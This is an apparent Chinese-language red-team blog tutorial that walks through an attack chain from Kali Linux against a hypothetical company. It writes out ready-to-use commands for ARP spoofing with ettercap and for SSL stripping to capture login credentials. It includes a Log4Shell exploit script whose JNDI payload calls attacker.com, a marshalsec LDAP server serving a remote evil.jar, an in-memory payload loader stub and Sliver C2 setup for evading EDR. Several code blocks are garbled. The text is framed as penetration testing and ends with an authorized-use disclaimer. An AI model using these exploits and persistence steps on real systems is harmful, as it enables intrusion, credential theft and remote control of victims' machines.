一、攻击者思维：从防御机制到突破口

企业部署Kali Linux作为渗透测试平台的初衷，是为了主动发现安全漏洞。然而，许多防御机制和配置疏漏，却为攻击者提供了可乘之机。在实际红队攻击中，我们通常会利用防御方的过度信任和配置漏洞，为我们的攻击链铺平道路。今天这篇文章，我将从攻击者的角度，详细讲述如何利用Kali Linux进行一次完整的渗透测试和攻防对抗。

假设目标是一家中型企业，使用Kali进行定期网络审计，但外部防御较为松散。攻击链的目标是突破其外部网络、进入内网，最终获取敏感数据。

黑客示意图

---

二、武器库准备：Kali环境下的攻击工具定制

要完成一个成功的渗透测试，首先要确保你的工具链足够强大而隐蔽。以下是我在Kali Linux中常用且高效的攻击工具搭配：

定制化工具链

  1. 信息收集工具
  • Recon-ng：模块化框架，适合大规模信息收集。
  • Shodan CLI：检索目标的公开端口和服务。
  • 自写脚本：用Python结合requests库快速抓取目标页面。
  1. 漏洞扫描器
  • Nikto：快速扫描目标网站的常见漏洞。
  • Nmap：不仅是端口扫描，结合脚本引擎（NSE）可以发现复杂漏洞。
  1. 漏洞利用工具
  • Metasploit：经典框架，但需要武器化自定义模块。
  • 自定义Exploit：将公开的POC转化为实战EXP。
  1. 权限维持工具
  • C2工具：使用Sliver替代传统的Metasploit，更隐蔽。
  • 定制远控：使用Python或C++开发轻量化的加载器。

在攻击前，对上述工具进行免杀处理是红队的必备技能，后续章节会详细讲述。

---

三、流量捕获实战：从数据包中找到破绽

攻击的第一步是信息收集，而最有效的方式之一就是捕获目标流量。假设目标网络启用了HTTPS，但存在证书错误或弱加密，我们可以利用Kali Linux中的工具进行流量劫持。

实战环境搭建

  • 目标网络：内网运行Nginx服务，启用了HTTPS。
  • 攻击者环境：使用Kali Linux，安装ettercap和Wireshark。
  • 网络条件：同一局域网，目标存在ARP缓存欺骗漏洞。

攻击流程

  1. ARP欺骗

    2. 首先，我们通过ARP欺骗将自己伪装成网关，劫持目标流量： <pre><code class="language-bash"> # 使用ettercap进行ARP欺骗 sudo ettercap -T -M arp:remote -i eth0 -P dns_spoof -T //gateway_ip//target_ip// `

  1. SSL剥离

    2. 配置sslstrip，强制目标流量降级为HTTP明文传输： `bash

开启sslstrip并监听目标流量

sudo sslstrip -l 8080 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 `

  1. 数据包分析

    2. 使用Wireshark实时捕获数据包，筛选POST请求，提取敏感信息（如登录凭证）： `bash

在Wireshark中过滤HTTP POST流量

http.request.method == &quot;POST&quot; `

通过流量劫持，我们可以获取目标登录系统的用户名和密码，进入下一阶段的攻击。

---

四、漏洞武器化：从POC到实战EXP

接下来，我们假设目标服务器存在一个已知的RCE漏洞（例如Log4j的Log4Shell漏洞），我们将公开的POC武器化成EXP，完成实际的利用。

针对Log4Shell的EXP实现

目标漏洞的攻击原理是通过JNDI注入执行远程代码，我们将自定义一个恶意载荷，触发目标服务器的RCE。

Python实现EXP

以下是一个武器化的Log4Shell利用代码：</code></pre>python import requests

定义目标URL和恶意参数

target_url = "http://victim.com" payload = "${jndi:ldap://attacker.com:1389/Exploit}"

发送恶意请求

headers = { "User-Agent": payload } response = requests.get(target_url, headers=headers)

if response.status_code == 200: print("[+] Exploit sent successfully!") else: print("[-] Exploit failed.") <pre><code>

搭建恶意LDAP服务器

使用marshalsec工具搭建一个恶意LDAP服务器，将恶意代码注入目标：</code></pre>bash java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/evil.jar" <pre><code> 通过EXP触发的RCE，可以将权限提升至目标服务器的管理员级别。

---

五、权限维持：隐蔽性是关键

在成功入侵目标服务器后，权限维持的隐蔽性决定了攻击的持续性。以下是我常用的技巧：

内存加载Payload

将恶意代码直接加载到目标内存中，避免硬盘检测：</code></pre>python import base64 import ctypes

编写一个内存加载器，加载恶意代码

payload = base64.b64decode("aGVsbG8gd29ybGQK") # 替换为实际的恶意代码 ctypes.windll.kernel32.VirtualAlloc(payload, len(payload), 0x3000, 0x40) <pre><code>

使用Sliver搭建C2

相比传统C2工具，Sliver支持多协议流量伪装：</code></pre>bash

在Kali上启动Sliver服务器

sliver server --ip 192.168.1.100 --port 8888 `

黑客示意图

通过生成轻量化Payload，在目标上进行远控操作，同时规避EDR监控。

黑客示意图

---

六、红队实战经验总结

从信息收集到最终权限维持，这篇文章完整展示了一个攻击链的全过程。以下是一些个人经验：

  • 攻击链完整性：确保每一步都有备选方案，例如目标流量无法劫持时，可以尝试网络钓鱼。
  • 隐蔽性对抗：绕过EDR和防御系统的核心在于定制化Payload，尤其是在内存中操作。
  • 实战环境搭建：红队演练时，尽量模拟真实生产环境，避免单纯的实验室条件。

请注意：上述内容仅供合法授权的安全测试使用，切勿用于非法行为。安全研究的目的是帮助企业提升防御能力，而非破坏。